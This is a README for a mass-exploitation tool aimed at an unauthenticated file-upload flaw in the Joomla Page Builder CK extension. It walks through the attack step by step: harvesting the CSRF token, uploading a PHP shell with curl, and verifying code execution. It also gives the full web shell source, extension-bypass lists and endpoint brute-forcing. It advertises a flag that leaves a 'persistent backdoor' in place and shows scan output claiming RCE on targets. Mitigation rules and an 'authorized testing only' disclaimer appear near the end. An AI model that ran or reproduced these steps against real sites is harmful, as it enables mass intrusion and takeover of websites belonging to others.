Mass Exploitation & Validation Framework for Joomla Page Builder CK

Unauthenticated Arbitrary File Upload → Remote Code Execution

---

📑 Table of Contents

• Vulnerability Overview
• Affected Versions
• Features
• Installation
• Usage
• Proof of Concept
• Technical Deep-Dive
• Detection Methodology
• Defense & Mitigation
• Disclaimer
• References

---

🔴 Vulnerability Overview

CVE-2026-56290 is a critical-severity vulnerability in Page Builder CK (com_pagebuilderck), a popular Joomla page builder extension. The browse.ajaxAddPicture controller method accepts unauthenticated file uploads with a user-controlled destination path, allowing attackers to write arbitrary PHP files to web-accessible directories.

The Root Cause

// browse.php controller — NO authentication check
function ajaxAddPicture() {
    $input = JFactory::getApplication()->input;
    $file  = $input->files->get('file', null);   // ← user-controlled file
    $path  = trim($input->get('path', ''));       // ← user-controlled path, only trim()!
    // ... uploads file to $path without validating the destination
}

The path parameter undergoes only trim() sanitization — no whitelist, no directory traversal check, no authentication gate. Combined with a CSRF token that is publicly accessible from any Joomla page, attackers can remotely upload PHP shells to any writable directory.

Impact

Vector	Severity	Impact
Unauthenticated File Upload	9.8 (Critical)	Arbitrary PHP code execution
CSRF Token Harvesting	5.3 (Medium)	Enables the upload chain
Information Disclosure	5.3 (Medium)	Extension version fingerprinting

The Attack Chain

1. HIT Joomla homepage     →  harvest CSRF token (hex32 + value "1")
2. POST file upload         →  task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in       →  media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL            →  code executes, RCE confirmed
5. POST f=@file to shell    →  upload additional tools
6. GET ?cleanup=1           →  shell self-destructs

---

🟠 Affected Versions

Page Builder CK Version	Status	Notes
3.1.1 and below	🔴 Vulnerable	Confirmed unauthenticated upload
3.4.10 and below	🔴 Vulnerable	Extended range per analysis
3.5.10 and below	🔴 Vulnerable	Some patched variants may exist
> 3.5.10	🟢 Possibly Patched	Verify via manifest XML

Note: Version is detected from the Joomla manifest file at /administrator/manifests/files/com_pagebuilderck.xml. If the manifest is inaccessible, the scanner defaults to treating the target as potentially vulnerable.

---

✨ Features

🔍 Reconnaissance Joomla detection — 2-phase: HTML fingerprints + admin panel probe PBCK detection — Direct path probes + HTML pattern matching Version extraction — Manifest XML parsing + HTML regex fallback CSRF token harvesting — Multi-page token extraction (home, login, registration, admin) Endpoint brute-forcing — 1000+ task/param/path combos with time-budgeted discovery

💀 Exploitation 40+ extension bypass — Case juggling, numbered variants, double extensions, Windows tricks 20+ destination paths — Extension dirs, Joomla writable dirs, traversal paths Shell validation — Token-based confirmation that PHP executes Auto-cleanup — Shells self-destruct after validation (?cleanup=1) Live TXT output — Real-time thread-safe results written to file JSON report — Structured report with full per-target details

---

📦 Installation

# Clone the repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit

# Install dependencies
pip install -r requirements.txt

# Verify
python cve_2026_56290.py --help

Requirements

requests>=2.28.0
urllib3>=1.26.0

---

📖 Usage

Command Line Arguments

CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator

  -t, --target        Single target URL
  -f, --file          File with target URLs (one per line, # for comments)
  -o, --output        Live TXT output file (default: cve-2026-56290_live.txt)
  --json              JSON report file path (default: cve-2026-56290_report.json)
  --threads           Concurrent workers (default: 20)
  --timeout           Request timeout in seconds (default: 15)
  --no-cleanup        Leave shells on target (persistent backdoor)
  -v, --verbose       Verbose endpoint discovery output
  --known-endpoint    Skip discovery: task,file_param,folder_param

Basic Usage

# Single target
python cve_2026_56290.py -t https://target.com

# Mass scan from file
python cve_2026_56290.py -f targets.txt

# Custom output + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v

# Leave shells behind (persistent backdoor)
python cve_2026_56290.py -t https://target.com --no-cleanup

# Skip discovery with known endpoint
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"

Target File Format

# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# comments and blank lines are ignored

---

🧪 Proof of Concept

Scenario 1: Mass Scan with Live Output

$ python cve_2026_56290.py -f targets.txt -o live_results.txt

────────────────────────────────────────────────────────────
  CVE-2026-56290 | 5 targets | 20 threads | cleanup=yes
  Live TXT: live_results.txt
  2026-07-04 15:30:00
────────────────────────────────────────────────────────────

  ✅ https://target-vuln.com  [rce_confirmed]  12.4s
     PBCK: 3.4.7 [VULN]
     RCE  : ext=php | path=media/com_pagebuilderck/gfonts/
     Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
     Usage: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

  🛡️ https://target-patched.com  [patched]  3.2s

  ✅ https://target-vuln2.com  [rce_confirmed]  15.1s
     PBCK: 3.1.0 [VULN]
     RCE  : ext=pHP | path=media/com_pagebuilderck/fonts/
     Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
     Usage: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

==================================================
  SCAN SUMMARY
==================================================
  Total           : 5
  ✅ RCE Confirmed : 2
  ⚠️  RCE Failed    : 1
  🛡️  Patched       : 1
  🔍 Need Diff     : 0
  ❌ Not Joomla    : 0
  ⏭️  No Component  : 1
  💥 Errors         : 0
==================================================

---

Scenario 2: Manual Reproduction (curl + Python)

Step 1 — Harvest CSRF Token

curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"

Step 2 — Upload PHP Shell

TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"

curl -sk \
  -F "file=@shell.php;type=application/x-php" \
  -F "path=media/com_pagebuilderck/gfonts/" \
  "https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"

Step 3 — Verify RCE

curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → PHP shell output, confirms code execution

---

Scenario 3: The PHP Shell Payload

The scanner deploys a self-contained uploader shell — no exec(), system(), or eval() required:

<html><body>
<form method=post enctype=multipart/form-data>
  <input type=file name=f>
  <input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
  move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
  echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
  @unlink(__FILE__);
  die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>

Shell capabilities:

• 📤 Upload additional files via POST f=@file
• 🧹 Self-destruct via ?cleanup=1
• 🔑 Token-based validation (scanner verifies the unique token in output)

---

🔬 Technical Deep-Dive

Architecture

┌─────────────────────────────────────────────────────────┐
│                     PBCK-EXPLOIT                        │
├──────────────────┬──────────────────────────────────────┤
│   RECON PHASE   │           EXPLOIT PHASE               │
│                  │                                      │
│  ┌────────────┐  │  ┌──────────────┐  ┌──────────────┐  │
│  │ Joomla     │  │  │ Endpoint     │  │ Extension    │  │
│  │ Detection  │  │  │ Brute-force  │  │ Bypass Grid  │  │
│  │ (2-phase)  │  │  │ (1000+ combo)│  │ (40+ exts)   │  │
│  └─────┬──────┘  │  └──────┬───────┘  └──────┬───────┘  │
│        │         │         │                  │          │
│  ┌─────▼──────┐  │  ┌──────▼───────┐  ┌──────▼───────┐  │
│  │ PBCK       │  │  │ CSRF Token   │  │ PHP Shell    │  │
│  │ Detection  │  │  │ Harvester    │  │ Deployment   │  │
│  │ (probes)   │  │  │ (5 pages)    │  │ (20+ paths)  │  │
│  └─────┬──────┘  │  └──────┬───────┘  └──────┬───────┘  │
│        │         │         │                  │          │
│  ┌─────▼──────┐  │         │           ┌──────▼───────┐  │
│  │ Version    │  │         │           │ Validation   │  │
│  │ Check      │  │         │           │ + Cleanup    │  │
│  └────────────┘  │         │           └──────────────┘  │
└──────────────────┴──────────────────────────────────────┘

Endpoint Discovery Strategy

The scanner uses a tiered brute-force approach with a per-target time budget (15s):

Tier	Tasks	File Params	Folder Params	Dest Paths	Total Combos
Tier 1 (confirmed)	browse.ajaxAddPicture + 3 others	file, Filedata	path, folder, dir	Top 4 PBCK dirs	96
Tier 2 (full grid)	12 tasks	4 params	5 params	20+ paths	4,800+

Each combo: upload a .txt probe → verify via GET → match on success. Returns immediately when confirmed.

Extension Bypass Philosophy

CKFile::makeSafe() blocks .php on some configurations. The bypass strategy:

Tier 1: Fast
  php, PHP, pht, phar
         ↓ (if blocked)
Tier 2: Case juggling
  Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
         ↓ (if blocked)
Tier 3: Alternative handlers
  php3, php4, php5, php6, php7, php8, phtml, shtml, inc
         ↓ (if blocked)
Tier 4: Double extensions
  php.jpg, jpg.php, php.png, php.gif, php.txt
         ↓ (if blocked)
Tier 5: Windows tricks
  php., PHP., php. , php.SWF

CSRF Token Harvesting

Joomla's CSRF token is embedded in every page — home, login, registration, contact forms, admin:

CSRF_PAGES = [
    "",                                                            # homepage
    "/index.php?option=com_users&view=login",                       # login
    "/index.php?option=com_users&view=registration",                # registration
    "/index.php?option=com_contact&view=contact&id=1",              # contact
    "/administrator/index.php",                                     # admin login
]

Pattern A — HTML hidden input: <input type="hidden" name="<hex32>" value="1">

Pattern B — JSON config: "csrf.token":"<hex32>"

---

🔍 Detection Methodology

Joomla Detection (2-Phase)

Phase 1 — HTML Fingerprints (fast, definitive)

• Generator meta tag containing "Joomla!"
• Structural elements: <jdoc:include>, joomla-script-options, "csrf.token"
• Path patterns: /components/com_, /modules/mod_, /plugins/system/
• Session cookie analysis

Phase 2 — Admin Panel Probe (fallback)

• Fetches /administrator/ page
• Checks for Joomla-specific admin markers: name="username", mod-login-, administrator/templates/

PBCK Detection (3-Tier)

Tier 1 — HTML strong indicators

com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck

Tier 2 — HTML weak indicators with confirmation

pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)

Tier 3 — Direct file probes (catches installs where PBCK isn't on homepage)

/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml

---

🛡️ Defense & Mitigation

1. Upgrade Immediately

# Update Page Builder CK to the latest patched version
# Check: https://extensions.joomla.org/extension/page-builder-ck/

2. Block the Upload Endpoint

# Nginx — block unauthenticated access to the upload controller
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
    deny all;
}

# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]

3. Harden PHP Execution in Writable Directories

# .htaccess in media/ — disable PHP execution
<FilesMatch "\.php$">
    Require all denied
</FilesMatch>

4. Audit Your Fleet

# Scan your own infrastructure
python cve_2026_56290.py -f my_joomla_sites.txt -o audit_results.txt

---

⚠️ Disclaimer

🚨 FOR EDUCATIONAL & AUTHORIZED TESTING PURPOSES ONLY

This software is provided solely for educational purposes and legitimate security research. It is intended to be used by:

• 🛡️ Security professionals conducting authorized penetration tests
• 🏢 Organizations auditing their own Joomla infrastructure
• 🔬 Researchers studying vulnerability exploitation techniques
• 🎓 Students learning about web application security

❌ You may NOT use this software to:

• Access computer systems without explicit written authorization
• Compromise, damage, or disrupt systems you do not own
• Engage in illegal activity of any kind

⚖️ Legal Notice

Unauthorized access to computer systems violates laws including but not limited to:

• United States: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
• Indonesia: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
• European Union: Directive 2013/40/EU
• United Kingdom: Computer Misuse Act 1990

The author(s) assume NO LIABILITY for any misuse, damage, or legal consequences resulting from the use of this tool. By using this software, you acknowledge that you are solely responsible for your actions and agree to comply with all applicable laws.

---

📚 References

Resource	Link
NVD Entry	CVE-2026-56290
Joomla Security	developer.joomla.org/security
Page Builder CK	extensions.joomla.org
OWASP File Upload	Unrestricted File Upload

---

<sub>⚡ Built with precision for the security research community ⚡

Joomla® is a registered trademark of Open Source Matters, Inc.
This project is not affiliated with or endorsed by Joomla, Open Source Matters, or Page Builder CK.</sub>